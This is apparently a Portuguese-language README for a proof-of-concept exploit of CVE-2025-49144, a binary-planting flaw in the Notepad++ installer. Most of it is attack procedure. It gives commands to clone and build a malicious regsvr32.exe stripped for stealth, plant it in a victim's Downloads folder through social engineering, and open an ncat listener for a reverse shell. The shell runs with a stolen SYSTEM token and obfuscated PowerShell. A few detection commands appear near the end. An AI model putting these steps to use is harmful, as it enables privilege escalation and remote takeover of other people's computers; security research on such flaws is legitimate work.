
PoC CVE-2025-49144
⚠️ APENAS PARA FINS EDUCACIONAIS
Este código foi desenvolvido para fins educacionais e de pesquisa para entender vulnerabilidades de binary planting. Use apenas em ambientes controlados e com a devida autorização.
Esta Prova de Conceito demonstra a vulnerabilidade de binary planting no instalador do Notepad++ (CVE-2025-49144) referenciada em GHSA-9vx8-v79m-6m24. A vulnerabilidade permite que um invasor obtenha privilégios de nível SYSTEM colocando um executável malicioso chamado regsvr32.exe no mesmo diretório do instalador do Notepad++.
regsvr32.exe maliciosoA PoC é composta por múltiplos componentes que trabalham em conjunto:
┌─────────────────┐ ┌──────────────────┐ ┌─────────────────┐
│ Notepad++ │ │ Malicious │ │ Reverse Shell │
│ Installer │───▶│ regsvr32.exe │───▶│ (PowerShell) │
│ (searches for │ │ (CGO binary) │ │ with SYSTEM │
│ regsvr32.exe) │ │ │ │ privileges │
└─────────────────┘ └──────────────────┘ └─────────────────┘
# Instalar Go (1.24+)
# Instalar MinGW-w64 para compilação CGO
# Instalar Git para controle de versão
# Clonar o repositório
git clone https://github.com/Vr00mm/CVE-2025-49144
cd CVE-2025-49144
# Compilar como executável (disfarçado de regsvr32.exe)
# Para máxima furtividade (remover informações de debug)
go build -ldflags="-s -w" -o regsvr32.exe
# Para desenvolvimento (com símbolos de debug)
go build -o regsvr32_debug.exe
# 1. Colocar o regsvr32.exe malicioso no mesmo diretório do instalador do Notepad++
# Normalmente a pasta Downloads, onde os usuários baixam o instalador
copy regsvr32.exe "C:\Users\%USERNAME%\Downloads\"
# 2. O usuário baixa o instalador oficial do Notepad++ para a pasta Downloads
# 3. Quando o usuário executa o instalador, ele procura por regsvr32.exe no diretório atual primeiro
# 4. O instalador encontra e executa nosso regsvr32.exe malicioso com privilégios de SYSTEM
# 5. Aguardar a conexão reversa do shell
ncat -tlnp 4445
sequenceDiagram
participant User
participant Attacker
participant Downloads
participant NotepadInstaller
participant MaliciousRegsvr32
participant SystemProcess
User->>Downloads: Baixar instalador do Notepad++
Attacker->>Downloads: Colocar regsvr32.exe malicioso (engenharia social)
User->>NotepadInstaller: Executar instalador da pasta Downloads
NotepadInstaller->>Downloads: Procurar por regsvr32.exe no diretório atual
Downloads->>MaliciousRegsvr32: Encontrar regsvr32.exe malicioso primeiro
NotepadInstaller->>MaliciousRegsvr32: Executar com privilégios de SYSTEM
MaliciousRegsvr32->>MaliciousRegsvr32: Criar processo destacado
MaliciousRegsvr32->>SystemProcess: Enumerar processos SYSTEM
SystemProcess->>MaliciousRegsvr32: Roubar token do winlogon/services
MaliciousRegsvr32->>MaliciousRegsvr32: Criar PowerShell com token SYSTEM
MaliciousRegsvr32->>Attacker: Estabelecer conexão reversa
MaliciousRegsvr32->>NotepadInstaller: Continuar com a funcionalidade legítima do regsvr32
Attacker->>SystemProcess: Executar comandos como SYSTEMBinary Planting
Elevação de Privilégio
Mecanismos de Persistência
Programação de Rede
Programação CGO
# Monitorar uso suspeito de regsvr32
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; ID=4104}
# Verificar conexões de rede incomuns
netstat -ano | findstr ":4445"
# Monitorar criação de processos
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4688}
Falhas de Conexão
# Verificar se a porta está disponível
netstat -ano | findstr ":4445"
# Verificar configurações do firewall
netsh advfirewall firewall show rule name=all | findstr "4445"
Erros de Build
# Garantir que o CGO esteja habilitado
set CGO_ENABLED=1
# Verificar a instalação do MinGW
gcc --version
# Verificar se a instalação do Go suporta CGO
go env CGO_ENABLED
Falhas na Aquisição de Token
Este projeto é distribuído sob a Licença MIT para fins educacionais. Consulte o arquivo LICENSE para obter detalhes.
Lembre-se: Esta ferramenta é apenas para fins educacionais e de testes autorizados. Sempre siga práticas de divulgação responsável e respeite os limites legais.
| Arquivo | Finalidade | Linhas |
|---|
main.go | Ponto de entrada, gerencia a execução do regsvr32 | ~80 |
winbind.h | Cabeçalho principal com declarações de funções | ~45 |
main.c | Iniciador central do reverse shell e criação de processos destacados | ~75 |
shell.c | Gerenciador de shell com execução ofuscada do PowerShell | ~120 |
process.c | Aquisição de token e criação de processo SYSTEM | ~195 |
socket.c | Conexão de rede com TCP keep-alive | ~85 |
threads.c | Threads de I/O entre socket e pipes | ~60 |
utils.c | Validação de entrada e limitação de taxa | ~35 |
obfuscate.c | Técnicas de ofuscação do caminho do PowerShell | ~70 |